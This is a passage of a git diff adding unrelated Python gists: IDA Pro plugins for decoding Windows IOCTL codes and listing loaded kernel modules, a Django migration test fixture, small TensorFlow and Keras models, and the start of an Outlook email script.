+##      Copy script into plugins directory, i.e: C:\Program Files\IDA 6.8\plugins
+##
+## To run:
+##      Highlight IOCTL then right click and select "Decode IOCTL" or press PLUGIN_HOTKEY
+##      The decoded IOCTL data will be added as a comment and displayed in the IDA cli
+##
+############################################################################################
+
+__VERSION__ = '0.1'
+__AUTHOR__ = '@herrcore'
+
+PLUGIN_NAME = "Quick IOCTL Decoder"
+PLUGIN_HOTKEY = 'Ctrl-Alt-I'
+
+
+import idaapi
+
+class IOCTL_Decoder():
+    DEVICE = [None]*55
+    DEVICE[1]="BEEP"
+    DEVICE[2]="CD_ROM"
+    DEVICE[3]="CD_ROM_FILE_SYSTEM"
+    DEVICE[4]="CONTROLLER"
+    DEVICE[5]="DATALINK"
+    DEVICE[6]="DFS"
+    DEVICE[7]="DISK"
+    DEVICE[8]="DISK_FILE_SYSTEM"
+    DEVICE[9]="FILE_SYSTEM"
+    DEVICE[10]="INPORT_PORT"
+    DEVICE[11]="KEYBOARD"
+    DEVICE[12]="MAILSLOT"
+    DEVICE[13]="MIDI_IN"
+    DEVICE[14]="MIDI_OUT"
+    DEVICE[15]="MOUSE"
+    DEVICE[16]="MULTI_UNC_PROVIDER"
+    DEVICE[17]="NAMED_PIPE"
+    DEVICE[18]="NETWORK"
+    DEVICE[19]="NETWORK_BROWSER"
+    DEVICE[20]="NETWORK_FILE_SYSTEM"
+    DEVICE[21]="NULL"
+    DEVICE[22]="PARALLEL_PORT"
+    DEVICE[23]="PHYSICAL_NETCARD"
+    DEVICE[24]="PRINTER"
+    DEVICE[25]="SCANNER"
+    DEVICE[26]="SERIAL_MOUSE_PORT"
+    DEVICE[27]="SERIAL_PORT"
+    DEVICE[28]="SCREEN"
+    DEVICE[29]="SOUND"
+    DEVICE[30]="STREAMS"
+    DEVICE[31]="TAPE"
+    DEVICE[32]="TAPE_FILE_SYSTEM"
+    DEVICE[33]="TRANSPORT"
+    DEVICE[34]="UNKNOWN"
+    DEVICE[35]="VIDEO"
+    DEVICE[36]="VIRTUAL_DISK"
+    DEVICE[37]="WAVE_IN"
+    DEVICE[38]="WAVE_OUT"
+    DEVICE[39]="8042_PORT"
+    DEVICE[40]="NETWORK_REDIRECTOR"
+    DEVICE[41]="BATTERY"
+    DEVICE[42]="BUS_EXTENDER"
+    DEVICE[43]="MODEM"
+    DEVICE[44]="VDM"
+    DEVICE[45]="MASS_STORAGE"
+    DEVICE[46]="SMB"
+    DEVICE[47]="KS"
+    DEVICE[48]="CHANGER"
+    DEVICE[49]="SMARTCARD"
+    DEVICE[50]="ACPI"
+    DEVICE[51]="DVD"
+    DEVICE[52]="FULLSCREEN_VIDEO"
+    DEVICE[53]="DFS_FILE_SYSTEM"
+    DEVICE[54]="DFS_VOLUME"
+
+    def __init__(self, control_code):
+        self.control_code = control_code
+
+    def decode(self):
+        out={}
+        device_val = (self.control_code >> 16) & 0xFFF
+        funcVal = (self.control_code >> 2) & 0xFFF
+        if (device_val <= 54) and (device_val != 0):
+            device_string = self.DEVICE[device_val]+ " ("+hex(device_val)+")"
+        else:
+            device_string = hex(device_val)
+        function_string = hex(funcVal)
+        out["device"] = device_string
+        out["function"] = function_string
+        access = (self.control_code >> 14) & 3   
+        method = self.control_code & 3
+        access_string = ""
+        if access == 0:
+            access_string = "FILE_ANY_ACCESS"
+        elif access == 1:
+            access_string = "FILE_READ_ACCESS"
+        elif access == 2:
+            access_string = "FILE_WRITE_ACCESS"
+        elif access == 3:
+            access_string = "Read and Write"
+        method_string = ""
+        if method == 0:
+            method_string = "METHOD_BUFFERED"
+        elif method == 1:
+            method_string = "METHOD_IN_DIRECT"
+        elif method == 2:
+            method_string = "METHOD_OUT_DIRECT"
+        elif method == 3:
+            method_string = "METHOD_NEITHER"
+        out["access"] = access_string
+        out["method"] = method_string
+        return out
+
+
+class IDAIOCTLDecoder():
+    @staticmethod
+    def decode():
+        ea = ScreenEA()
+        if ea == idaapi.BADADDR:
+            idaapi.msg(PLUGIN_NAME + " ERROR: Could not get get_screen_ea()")
+            return
+
+        str_id = idaapi.get_highlighted_identifier()
+        if not str_id:
+            idaapi.msg(PLUGIN_NAME + " ERROR: No Ioctl Code highlighted!")
+            return
+        try:
+            if str_id[-1] == 'h':
+                code = int(str_id[:-1], 16)
+            elif str_id[-1] == 'o':
+                code = int(str_id[:-1], 8)
+            elif str_id[-1] == 'b':
+                code = int(str_id[:-1], 2)
+            else:
+                code = int(str_id)
+        except ValueError:
+            idaapi.msg(PLUGIN_NAME + " ERROR: Not a valid Ioctl Code: " + str(str_id)) 
+            return
+
+        try:
+            decoder = IOCTL_Decoder(code)
+            ioctl_data = decoder.decode()
+
+            #print decoded IOCTL to cli
+            msg_string =  "That IOCTL decodes to: \n\tDevice: %s \n\tFunction: %s \n\tAccess: %s \n\tMethod: %s" 
+            idaapi.msg(msg_string % (ioctl_data["device"], ioctl_data["function"], ioctl_data["access"], ioctl_data["method"]))
+
+            #add decoded IOCTL as comment
+            comment_string =  "dwIoControlCode: \n\t\tDevice: %s \n\t\tFunction: %s \n\t\tAccess: %s \n\t\tMethod: %s"
+            idaapi.set_cmt(ea, comment_string % (ioctl_data["device"], ioctl_data["function"], ioctl_data["access"], ioctl_data["method"]), 0)
+        except Exception as e:
+             idaapi.msg(PLUGIN_NAME + " ERROR: " + str(e))
+        return
+
+
+class IOCTLDecodeHandler(idaapi.action_handler_t):
+    def activate(self, ctx):
+        IDAIOCTLDecoder.decode()
+
+    def update(self, ctx):
+        return idaapi.AST_ENABLE_ALWAYS
+
+class QuickIOCTLDecoderHooks(idaapi.UI_Hooks):
+    def finish_populating_tform_popup(self, form, popup):
+        tft = idaapi.get_tform_type(form)
+        if tft == idaapi.BWN_DISASM:
+            # Note the 'None' as action name (1st parameter).
+            # That's because the action will be deleted immediately
+            # after the context menu is hidden anyway, so there's
+            # really no need giving it a valid ID.
+            desc = idaapi.action_desc_t(None, 'Decode IOCTL', IOCTLDecodeHandler())
+            idaapi.attach_dynamic_action_to_popup(form, popup, desc, None)
+
+class QuickIOCTLDecoder(idaapi.plugin_t):
+    flags = idaapi.PLUGIN_UNL
+    comment = "Decode IOCTL codes!"
+
+    help = "Highlight IOCTL and right-click 'Decode IOCTL'"
+    wanted_name = PLUGIN_NAME
+    wanted_hotkey = PLUGIN_HOTKEY
+    
+ 
+    def init(self):
+        idaapi.msg("Initializing: %s\n" % PLUGIN_NAME)
+        global hooks
+        hooks = QuickIOCTLDecoderHooks()
+        re = hooks.hook()
+        return idaapi.PLUGIN_OK
+
+        
+    def run(self, arg):
+        IDAIOCTLDecoder.decode()
+        pass
+
+    def term(self):
+        pass
+
+def PLUGIN_ENTRY():
+    return QuickIOCTLDecoder()
+
+
+
+
diff --git a/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/._snippet.py b/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/._snippet.py differ
diff --git a/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/snippet.py b/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/snippet.py
new file mode 100644
index 00000000..9153222e
--- /dev/null
+++ b/hard-gists/b3e6f9b5d95af8ba2cc46f2ba6eae5e2/snippet.py
@@ -0,0 +1,68 @@
+# based on https://gist.github.com/blueyed/4fb0a807104551f103e6
+
+from django.db import connection
+from django.db.migrations.executor import MigrationExecutor
+
+import pytest
+
+
+@pytest.fixture()
+def migration(transactional_db):
+    """
+    This fixture returns a helper object to test Django data migrations.
+
+    The fixture returns an object with two methods;
+     - `before` to initialize db to the state before the migration under test
+     - `after` to execute the migration and bring db to the state after the migration
+
+    The methods return `old_apps` and `new_apps` respectively; these can
+    be used to initiate the ORM models as in the migrations themselves.
+
+    For example:
+
+        def test_foo_set_to_bar(migration):
+            old_apps = migration.before('my_app', '0001_inital')
+            Foo = old_apps.get_model('my_app', 'foo')
+            Foo.objects.create(bar=False)
+
+            assert Foo.objects.count() == 1
+            assert Foo.objects.filter(bar=False).count() == Foo.objects.count()
+
+            # executing migration
+            new_apps = migration.apply('my_app', '0002_set_foo_bar')
+            Foo = new_apps.get_model('my_app', 'foo')
+            assert Foo.objects.filter(bar=False).count() == 0
+            assert Foo.objects.filter(bar=True).count() == Foo.objects.count()
+
+    Based on: https://gist.github.com/blueyed/4fb0a807104551f103e6
+    """
+    class Migrator(object):
+        def before(self, app, migrate_from, ):
+            """ Specify app and starting migration name as in:
+                before('app', '0001_before') => app/migrations/0001_before.py
+            """
+            self.app = app
+            self.migrate_from = [(app, migrate_from)]
+            self.executor = MigrationExecutor(connection)
+            self.executor.migrate(self.migrate_from)
+            # prepare state of db to before the migration ("migrate_from" state)
+            self._old_apps = self.executor.loader.project_state(self.migrate_from).apps
+            return self._old_apps
+
+        def apply(self, app, migrate_to):
+            """ Migrate forwards to the "migrate_to" migration """
+            self.migrate_to = [(app, migrate_to)]
+            self.executor.loader.build_graph()  # reload.
+            self.executor.migrate(self.migrate_to)
+            self._new_apps = self.executor.loader.project_state(self.migrate_to).apps
+            return self._new_apps
+
+    # ensure to migrate forward migrated apps all the way after test
+    def migrate_to_end():
+        for _ in range(len(apps)):
+            app = apps.pop()
+            # migrator.apply(app, '__latest__')
+            call_command('migrate', app, verbosity=0)
+    request.addfinalizer(migrate_to_end)
+
+    return Migrator()
diff --git a/hard-gists/b3f329868934710fbc81218ce1d6d722/._snippet.py b/hard-gists/b3f329868934710fbc81218ce1d6d722/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b3f329868934710fbc81218ce1d6d722/._snippet.py differ
diff --git a/hard-gists/b3f329868934710fbc81218ce1d6d722/snippet.py b/hard-gists/b3f329868934710fbc81218ce1d6d722/snippet.py
new file mode 100644
index 00000000..d33c916f
--- /dev/null
+++ b/hard-gists/b3f329868934710fbc81218ce1d6d722/snippet.py
@@ -0,0 +1,346 @@
+from idaapi import *
+
+# with code taken from
+# - http://hexblog.com/idapro/vmware_modules.py
+# - HexRays forum
+# - https://gist.github.com/nmulasmajic/f90661489f858237bcd68fbde5516abd#file-find_nt_imagebase_x64-py
+
+class LoadedModulesList(Choose2):
+
+    def __init__(self, title, modlistEA=BADADDR, flags=0, width=None, height=None, embedded=False, modal=False):
+      self.ptr = modlistEA if modlistEA != BADADDR else get_name_ea_simple("PsLoadedModuleList")
+      if self.ptr == BADADDR:
+        raise ValueError('Missing symbol: PsLoadedModuleList')
+      self.n = 0
+      self.lines = []
+      self.modules = []
+      self.icon = 82
+      self.selcount = 0
+      self.modal = modal
+      self.is64 = get_inf_structure().is_64bit()
+      self.fmt = "%016X" if self.is64 else "%08X"
+      self.bits = 3 if self.is64 else 2
+      self.get_value = Qword if self.is64 else Dword
+
+      Choose2.__init__(
+        self,
+        title,
+        [ ["BaseAddress", 16], ["BaseDllName", 16], ["FullDllName", 24], ["SizeOfImage", 16], ["EntryPoint", 16] ],
+        flags = flags,
+        width = width,
+        height = height,
+        embedded = embedded)
+
+      self.walk_modulelist()
+
+    def OnClose(self):
+      self.modules = []
+      self.lines = []
+
+    def OnSelectLine(self, n):
+      jumpto(self.modules[n][0])
+
+    def OnGetLine(self, n):
+      return self.lines[n]
+
+    def OnGetSize(self):
+      return len(self.lines)
+
+    def add_module(self, BaseAddress, BaseDllName, FullDllName, SizeOfImage, EntryPoint):
+      self.modules.append((BaseAddress, BaseDllName, FullDllName, SizeOfImage, EntryPoint))
+
+    def update(self):
+      self.n = 0
+      self.lines = [self.make_item() for x in xrange(len(self.modules))]
+      self.Refresh()
+      return self.Show(self.modal) >= 0
+
+    def make_item(self):
+      r = [self.fmt % self.modules[self.n][0], # func name
+         "%s" % self.modules[self.n][1], # xrefs
+         "%s" % self.modules[self.n][2], # total no of loops in function
+         self.fmt % self.modules[self.n][3],# total nodes in func
+         self.fmt % self.modules[self.n][4]]# total nodes in func             
+      self.n += 1
+      return r
+
+    #read a string from UNICODE_STRING structure
+    def get_unistr(self, addr):
+      len = Word(addr)      #USHORT Length;
+      start = self.get_value(addr + (1<<self.bits)) #PWSTR  Buffer;
+      if len>1000:
+        raise ValueError(self.fmt + ": String too long (%d)"%(addr, len))
+      res = u''
+      while len>0:
+        c = Word(start)
+        if c==0: break
+        res += unichr(c)
+        start += 2
+        len -= 1
+      return res
+
+    def walk_modulelist(self):
+      # get the first module
+      cur_mod = self.get_value(self.ptr)
+      # loop until we come back to the beginning
+
+      # TODO: proper parsing of the PsLoadedModuleList
+      # structure should involve loading the 
+      # _LDR_DATA_TABLE_ENTRY structure and getting
+      # offsets from it by field names
+      while cur_mod != self.ptr and cur_mod != BADADDR:
+        BaseAddress  = self.get_value(cur_mod + (6<<self.bits))
+        EntryPoint   = self.get_value(cur_mod + (7<<self.bits))
+        SizeOfImage  = Dword(cur_mod + (8<<self.bits))
+        FullDllName  = self.get_unistr(cur_mod + (9<<self.bits)).encode('utf-8')
+        BaseDllName  = self.get_unistr(cur_mod + (0xB<<self.bits)).encode('utf-8')
+        self.add_module(BaseAddress, BaseDllName, FullDllName, SizeOfImage, EntryPoint)
+        #get next module (FLink)
+        next_mod = self.get_value(cur_mod)
+        #check that BLink points to the previous structure
+        if self.get_value(next_mod + (1<<self.bits)) != cur_mod:
+          print self.fmt + ": List error!" % cur_mod
+          break
+        cur_mod = next_mod
+      self.update()
+
+
+
+'''
+  Module Name: 
+    find_nt_imagebase_x64.py
+  
+  Abstract:
+    Discovers the base address of ntoskrnl when IDA's GDB stub is 
+    loaded by leveraging the IDT.
+  
+    NOTE: This is only compatible for 64-bit editions of Windows.
+    
+  Author:
+    Nemanja (Nemi) Mulasmajic <nm@triplefault.io>
+      http://triplefault.io
+'''
+
+# The size of a page on x86/AMD64.
+PAGE_SIZE = 4096
+
+def splice(string, start_token, end_token):
+  '''
+    Given an input 'string', extracts the contents between the
+    starting and ending tokens.
+  '''
+  start_pos = string.find(start_token)
+  end_pos = string.rfind(end_token)
+  
+  # This means our tokens are invalid and don't exist in the string.
+  if start_pos == -1 or end_pos == -1:
+    return None
+  
+  start_pos += len(start_token)
+
+  # Can't splice the string if this is true.
+  if start_pos > end_pos:
+    return None 
+    
+  # Splices the string.
+  return string[start_pos:end_pos]
+
+def read_idt_entry(address):
+  '''
+    Extracts the virtual address of the _KIDTENTRY64 at 'address'.
+  '''
+  
+  # nt!_KIDTENTRY64
+  '''
+    +0x000 OffsetLow        : Uint2B
+    +0x002 Selector         : Uint2B
+    +0x004 IstIndex         : Pos 0, 3 Bits
+    +0x004 Reserved0        : Pos 3, 5 Bits
+    +0x004 Type             : Pos 8, 5 Bits
+    +0x004 Dpl              : Pos 13, 2 Bits
+    +0x004 Present          : Pos 15, 1 Bit
+    +0x006 OffsetMiddle     : Uint2B
+    +0x008 OffsetHigh       : Uint4B
+    +0x00c Reserved1        : Uint4B
+    +0x000 Alignment        : Uint8B
+  '''
+  
+  # Relevant structure offsets.
+  OFFSET_KIDTENTRY64_OFFSETLOW = 0x0
+  OFFSET_KIDTENTRY64_OFFSETMIDDLE = 0x6
+  OFFSET_KIDTENTRY64_OFFSETHIGH = 0x8
+
+  # Read the data.
+  OffsetLow = Word(address + OFFSET_KIDTENTRY64_OFFSETLOW)
+  OffsetMiddle = Word(address + OFFSET_KIDTENTRY64_OFFSETMIDDLE)
+  OffsetHigh = Dword(address + OFFSET_KIDTENTRY64_OFFSETHIGH)
+  
+  # Failed to read some part of the offset.
+  if OffsetLow is None or OffsetMiddle is None or OffsetHigh is None:
+    return None
+  
+  # Build the 64-bit address representing this structure.
+  return ((OffsetHigh << 32) + (OffsetMiddle << 16) + OffsetLow)
+
+def page_align(address):
+  '''
+    Aligns the 'address' on an architecture page boundary (0x1000).
+  ''' 
+  return (address & ~(PAGE_SIZE - 1))
+  
+def find_base_address(address, verbose = True):
+  '''
+    Walks memory backwards from the starting 'address' until a 
+    valid PE header is located.
+  '''
+
+  # nt!_IMAGE_DOS_HEADER
+  '''
+    +0x000 e_magic          : Uint2B
+    +0x002 e_cblp           : Uint2B
+    +0x004 e_cp             : Uint2B
+    +0x006 e_crlc           : Uint2B
+    +0x008 e_cparhdr        : Uint2B
+    +0x00a e_minalloc       : Uint2B
+    +0x00c e_maxalloc       : Uint2B
+    +0x00e e_ss             : Uint2B
+    +0x010 e_sp             : Uint2B
+    +0x012 e_csum           : Uint2B
+    +0x014 e_ip             : Uint2B
+    +0x016 e_cs             : Uint2B
+    +0x018 e_lfarlc         : Uint2B
+    +0x01a e_ovno           : Uint2B
+    +0x01c e_res            : [4] Uint2B
+    +0x024 e_oemid          : Uint2B
+    +0x026 e_oeminfo        : Uint2B
+    +0x028 e_res2           : [10] Uint2B
+    +0x03c e_lfanew         : Int4B
+  '''
+  IMAGE_DOS_SIGNATURE = 0x5A4D # 'MZ'
+
+  # Relevant structure offsets.
+  OFFSET_IMAGE_DOS_HEADER_E_MAGIC = 0x0
+  OFFSET_IMAGE_DOS_HEADER_E_LFANEW = 0x3c
+    
+  # nt!_IMAGE_NT_HEADERS
+  '''
+     +0x000 Signature        : Uint4B
+     +0x004 FileHeader       : _IMAGE_FILE_HEADER
+     +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64
+  '''
+  IMAGE_NT_SIGNATURE = 0x00004550 # 'PE00'
+  
+  # Relevant structure offsets.
+  OFFSET_IMAGE_NT_HEADERS_SIGNATURE = 0x0
+  
+  # Find the page aligned offset of the specified symbol's address by
+  # stripping off the page RVA.
+  DosHeader = page_align(address)
+  
+  if verbose:
+    print "\nSearching for base address of symbol @ {} ({}).".format(hex(address), hex(DosHeader))
+    print "=" * 100
+  
+  while DosHeader != 0:
+    e_magic = Word(DosHeader + OFFSET_IMAGE_DOS_HEADER_E_MAGIC)
+    
+    # If we can't read the page, it's most likely invalid (not 
+    # mapped in). In the kernel most PE images (like ntoskrnl) 
+    # are more or less guaranteed to have their PE header in 
+    # the NonPagedPool. We skip invalid pages here.
+    if e_magic is not None:
+      if verbose:
+        print "{} --> {}".format(hex(DosHeader), hex(e_magic))
+        
+      # Do we have an 'MZ'?
+      if e_magic == IMAGE_DOS_SIGNATURE:
+        # Extract the e_lfanew.
+        e_lfanew = Dword(DosHeader + OFFSET_IMAGE_DOS_HEADER_E_LFANEW)
+        
+        # Go to the (potential) IMAGE_NT_HEADERS at this location.
+        NtHeaders = DosHeader + e_lfanew
+      
+        # The IMAGE_NT_HEADERS should be on the same 
+        # page as the IMAGE_DOS_HEADER. If this is not true, 
+        # something's weird and we shouldn't read from this address.
+        if page_align(NtHeaders) == DosHeader:
+          Signature = Dword(NtHeaders + OFFSET_IMAGE_NT_HEADERS_SIGNATURE)
+        
+          if verbose:
+            print "\t{} --> {}".format(hex(NtHeaders), hex(Signature))
+      
+          # Do we have a 'PE00'?
+          if Signature == IMAGE_NT_SIGNATURE:
+            if verbose:
+              print "\t{} Base address located @ {}.".format("^" * 50, hex(DosHeader))
+            
+            # At this point, it looks like we have both a valid 
+            # DOS and NT header. This should be the right base 
+            # address.
+            return DosHeader    
+    
+    # Try another page.
+    DosHeader -= PAGE_SIZE
+  
+  # If we get to here... someone left this script running way too long.
+  return None
+
+
+modlist = get_name_ea_simple("PsLoadedModuleList")
+if modlist == BADADDR:
+  # Ask for the idtr register from the VMware GDB stub.
+  monitor_result = SendDbgCommand("r idtr")
+
+  # The string is returned in the following format:
+  #   idtr base=0xfffff800707c9070 limit=0xfff
+
+  try:
+    # Try to extract just the numerical base.
+    idt_base = int(splice(monitor_result, "base=", " limit"), 16)
+  except:
+    print "ERROR: Failed to retrieve IDT base from VMware's GDB stub."
+    exit(-1)
+    
+  print "IDT base @ {}.".format(hex(idt_base))
+
+  idt_entry = read_idt_entry(idt_base)
+  if idt_entry is None:
+    print "ERROR: Failed to extract and parse KIDTENTRY64."
+    exit(-2)
+    
+  print "_KIDTENTRY64[0] (nt!KiDivideErrorFault) @ {}.".format(hex(idt_entry))
+
+  # We have a symbol in the address space of nt!* (unless someone 
+  # detoured the IDT entry...). At this point, we walk kernel 
+  # memory backwards from the start of this symbol until we
+  # get to a valid PE header. This should be the base address of 
+  # ntoskrnl.
+  ntoskrnl_base = find_base_address(idt_entry)
+  if ntoskrnl_base is not None:
+    print "\nThe base address of nt (ntoskrnl) is @ {}.".format(hex(ntoskrnl_base))
+
+    pdb_file = ask_file(0, "ntoskrnl.exe", "Path to copy of guest machine's ntoskrnl.exe")
+    if pdb_file is None:
+      print "\nERROR: Canceled."
+      exit(-4)
+
+    # Those come from pdb/common.h
+    PDB_CC_USER_WITH_DATA=3
+    PDB_DLLBASE_NODE_IDX=0
+    PDB_DLLNAME_NODE_IDX=0
+
+    pdb_node = idaapi.netnode()
+    pdb_node.create("$ pdb")
+    pdb_node.altset(PDB_DLLBASE_NODE_IDX, ntoskrnl_base)
+    pdb_node.supset(PDB_DLLNAME_NODE_IDX, pdb_file)
+    idaapi.load_and_run_plugin("pdb", PDB_CC_USER_WITH_DATA)
+    rc = pdb_node.altval(PDB_DLLBASE_NODE_IDX)
+    if not rc:
+      print "\nERROR: Could not load PDB file."
+      exit(-5)
+
+  else:
+    print "\nERROR: Could not find the base address of ntoskrnl after searching all resident memory. Something clearly went wrong. Additionally, you waited a very long time. Sorry!"
+    exit(-3)
+
+LoadedModulesList("Loaded Modules", modal=False)
diff --git a/hard-gists/b3f8ab944a85b33e694de21c6ded029e/._snippet.py b/hard-gists/b3f8ab944a85b33e694de21c6ded029e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b3f8ab944a85b33e694de21c6ded029e/._snippet.py differ
diff --git a/hard-gists/b3f8ab944a85b33e694de21c6ded029e/snippet.py b/hard-gists/b3f8ab944a85b33e694de21c6ded029e/snippet.py
new file mode 100644
index 00000000..93c19375
--- /dev/null
+++ b/hard-gists/b3f8ab944a85b33e694de21c6ded029e/snippet.py
@@ -0,0 +1,122 @@
+"""Sequence-to-sequence model with an attention mechanism."""
+# see https://www.tensorflow.org/versions/r0.10/tutorials/seq2seq/index.html
+# compare https://github.com/tflearn/tflearn/blob/master/examples/nlp/seq2seq_example.py
+from __future__ import print_function
+import numpy as np
+import tensorflow as tf
+
+vocab_size=256 # We are lazy, so we avoid fency mapping and just use one *class* per character/byte
+target_vocab_size=vocab_size
+learning_rate=0.1
+buckets=[(10, 10)] # our input and response words can be up to 10 characters long
+PAD=[0] # fill words shorter than 10 characters with 'padding' zeroes
+batch_size=10 # for parallel training (later)
+
+input_data    = [map(ord, "hello") + PAD * 5] * batch_size
+target_data   = [map(ord, "world") + PAD * 5] * batch_size
+target_weights= [[1.0]*6 + [0.0]*4] *batch_size # mask padding. todo: redundant --
+
+# EOS='\n' # end of sequence symbol todo use how?
+# GO=1		 # start symbol 0x01 todo use how?
+
+
+class BabySeq2Seq(object):
+
+	def __init__(self, source_vocab_size, target_vocab_size, buckets, size, num_layers, batch_size):
+		self.buckets = buckets
+		self.batch_size = batch_size
+		self.source_vocab_size = source_vocab_size
+		self.target_vocab_size = target_vocab_size
+
+		cell = single_cell = tf.nn.rnn_cell.GRUCell(size)
+		if num_layers > 1:
+		 cell = tf.nn.rnn_cell.MultiRNNCell([single_cell] * num_layers)
+
+		# The seq2seq function: we use embedding for the input and attention.
+		def seq2seq_f(encoder_inputs, decoder_inputs, do_decode):
+			return tf.nn.seq2seq.embedding_attention_seq2seq(
+					encoder_inputs, decoder_inputs, cell,
+					num_encoder_symbols=source_vocab_size,
+					num_decoder_symbols=target_vocab_size,
+					embedding_size=size,
+					feed_previous=do_decode)
+
+		# Feeds for inputs.
+		self.encoder_inputs = []
+		self.decoder_inputs = []
+		self.target_weights = []
+		for i in xrange(buckets[-1][0]):	# Last bucket is the biggest one.
+			self.encoder_inputs.append(tf.placeholder(tf.int32, shape=[None], name="encoder{0}".format(i)))
+		for i in xrange(buckets[-1][1] + 1):
+			self.decoder_inputs.append(tf.placeholder(tf.int32, shape=[None], name="decoder{0}".format(i)))
+			self.target_weights.append(tf.placeholder(tf.float32, shape=[None], name="weight{0}".format(i)))
+
+		# Our targets are decoder inputs shifted by one. OK
+		targets = [self.decoder_inputs[i + 1] for i in xrange(len(self.decoder_inputs) - 1)]
+		self.outputs, self.losses = tf.nn.seq2seq.model_with_buckets(
+				self.encoder_inputs, self.decoder_inputs, targets,
+				self.target_weights, buckets,
+				lambda x, y: seq2seq_f(x, y, False))
+
+		# Gradients update operation for training the model.
+		params = tf.trainable_variables()
+		self.updates=[]
+		for b in xrange(len(buckets)):
+			self.updates.append(tf.train.AdamOptimizer(learning_rate).minimize(self.losses[b]))
+
+		self.saver = tf.train.Saver(tf.all_variables())
+
+	def step(self, session, encoder_inputs, decoder_inputs, target_weights, test):
+		bucket_id=0 # todo: auto-select
+		encoder_size, decoder_size = self.buckets[bucket_id]
+
+		# Input feed: encoder inputs, decoder inputs, target_weights, as provided.
+		input_feed = {}
+		for l in xrange(encoder_size):
+			input_feed[self.encoder_inputs[l].name] = encoder_inputs[l]
+		for l in xrange(decoder_size):
+			input_feed[self.decoder_inputs[l].name] = decoder_inputs[l]
+			input_feed[self.target_weights[l].name] = target_weights[l]
+
+		# Since our targets are decoder inputs shifted by one, we need one more.
+		last_target = self.decoder_inputs[decoder_size].name
+		input_feed[last_target] = np.zeros([self.batch_size], dtype=np.int32)
+
+		# Output feed: depends on whether we do a backward step or not.
+		if not test:
+			output_feed = [self.updates[bucket_id], self.losses[bucket_id]]
+		else:
+			output_feed = [self.losses[bucket_id]]	# Loss for this batch.
+			for l in xrange(decoder_size):	# Output logits.
+				output_feed.append(self.outputs[bucket_id][l])
+
+		outputs = session.run(output_feed, input_feed)
+		if not test:
+			return outputs[0], outputs[1]# Gradient norm, loss
+		else:
+			return outputs[0], outputs[1:]# loss, outputs.
+
+
+def decode(bytes):
+	return "".join(map(chr, bytes)).replace('\x00', '').replace('\n', '')
+
+def test():
+	perplexity, outputs = model.step(session, input_data, target_data, target_weights, test=True)
+	words = np.argmax(outputs, axis=2)  # shape (10, 10, 256)
+	word = decode(words[0])
+	print("step %d, perplexity %f, output: hello %s?" % (step, perplexity, word))
+	if word == "world":
+		print(">>>>> success! hello " + word + "! <<<<<<<")
+		exit()
+
+step=0
+test_step=1
+with tf.Session() as session:
+	model= BabySeq2Seq(vocab_size, target_vocab_size, buckets, size=10, num_layers=1, batch_size=batch_size)
+	session.run(tf.initialize_all_variables())
+	while True:
+		model.step(session, input_data, target_data, target_weights, test=False) # no outputs in training
+		if step % test_step == 0:
+			test()
+		step=step+1
+
diff --git a/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/._snippet.py b/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/._snippet.py differ
diff --git a/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/snippet.py b/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/snippet.py
new file mode 100644
index 00000000..e18629d4
--- /dev/null
+++ b/hard-gists/b45983f227f1e4fbea65b6e06abfdecc/snippet.py
@@ -0,0 +1,40 @@
+from keras.engine.topology import Layer
+from keras import initializations
+from keras import backend as K
+
+class Attention(Layer):
+    '''Attention operation for temporal data.
+    # Input shape
+        3D tensor with shape: `(samples, steps, features)`.
+    # Output shape
+        2D tensor with shape: `(samples, features)`.
+    '''
+    def __init__(self, attention_dim, **kwargs):
+        self.init = initializations.get('glorot_uniform')
+        self.attention_dim = attention_dim
+        super(Attention, self).__init__(**kwargs)
+
+    def build(self, input_shape):
+        self.W = self.init((self.attention_dim, self.attention_dim),
+                           name='{}_W'.format(self.name))
+        self.b = K.zeros((self.attention_dim,), name='{}_b'.format(self.name))
+        self.u = self.init((self.attention_dim,), name='{}_u'.format(self.name))
+        self.trainable_weights += [self.W, self.b, self.u]
+        self.built = True
+         
+    def get_output_shape_for(self, input_shape):
+        return (input_shape[0], input_shape[2])
+
+    def call(self, x, mask=None):
+        # Calculate the first hidden activations
+        a1 = K.tanh(K.dot(x, self.W) + self.b) # [n_samples, n_steps, n_hidden]
+        # K.dot won't let us dot a 3D with a 1D so we do it with mult + sum
+        mul_a1_u = a1 * self.u                  # [n_samples, n_steps, n_hidden]
+        dot_a1_u = K.sum(mul_a1_u, axis=2)      # [n_samples, n_steps]
+        # Calculate the per step attention weights
+        a2 = K.softmax(dot_a1_u)
+        a2 = K.expand_dims(a2)                  # [n_samples, n_steps, 1] so div broadcasts
+        # Apply attention weights to steps
+        weighted_input = x * a2                 # [n_samples, n_steps, n_features]
+        # Sum across the weighted steps to get the pooled activations
+        return K.sum(weighted_input, axis=1)
\ No newline at end of file
diff --git a/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/._snippet.py b/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/._snippet.py differ
diff --git a/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/snippet.py b/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/snippet.py
new file mode 100644
index 00000000..19aadae2
--- /dev/null
+++ b/hard-gists/b45d21224c4ea16bf4a72e2a03f741af/snippet.py
@@ -0,0 +1,18 @@
+# http://itsecmedia.com/blog/post/2016/python-send-outlook-email/
+
+import win32com.client
+from win32com.client import Dispatch, constants
+
+const=win32com.client.constants
+olMailItem = 0x0
+obj = win32com.client.Dispatch("Outlook.Application")
+newMail = obj.CreateItem(olMailItem)
